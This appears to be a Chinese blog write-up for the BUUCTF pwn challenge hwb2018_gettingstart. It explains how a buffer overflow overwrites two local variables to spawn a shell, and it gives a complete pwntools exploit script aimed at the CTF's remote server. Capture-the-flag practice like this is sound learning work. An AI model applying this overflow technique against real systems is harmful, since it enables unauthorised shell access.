BUUCTF pwn hwb2018_gettingstart

本文介绍如何使用IDA查看程序流程,并通过设置v7和v8的特定值来获得shell。通过构造payload并发送到远程服务器,演示了从逆向分析到漏洞利用的全过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看程序保护
在这里插入图片描述
IDA打开查看程序流
在这里插入图片描述
读入buf的内容会覆盖v7和v8的值,那么控制v7=0x7FFFFFFFFFFFFFFF和v8=0.1,即可获得shell

这里v8的二进制值可以直接在程序里找到
在这里插入图片描述
或者在网站http://www.binaryconvert.com/convert_double.html 输入0.1也可获得
在这里插入图片描述
完整ex

from pwn import *

context(log_level='debug')

#io=process("./task_gettingStart_ktQeERc")
io=remote("node3.buuoj.cn",29872)

io.recv()

v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A

payload=b'A'*0x18+p64(v7)+p64(v8)

io.send(payload)

io.recv()

io.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值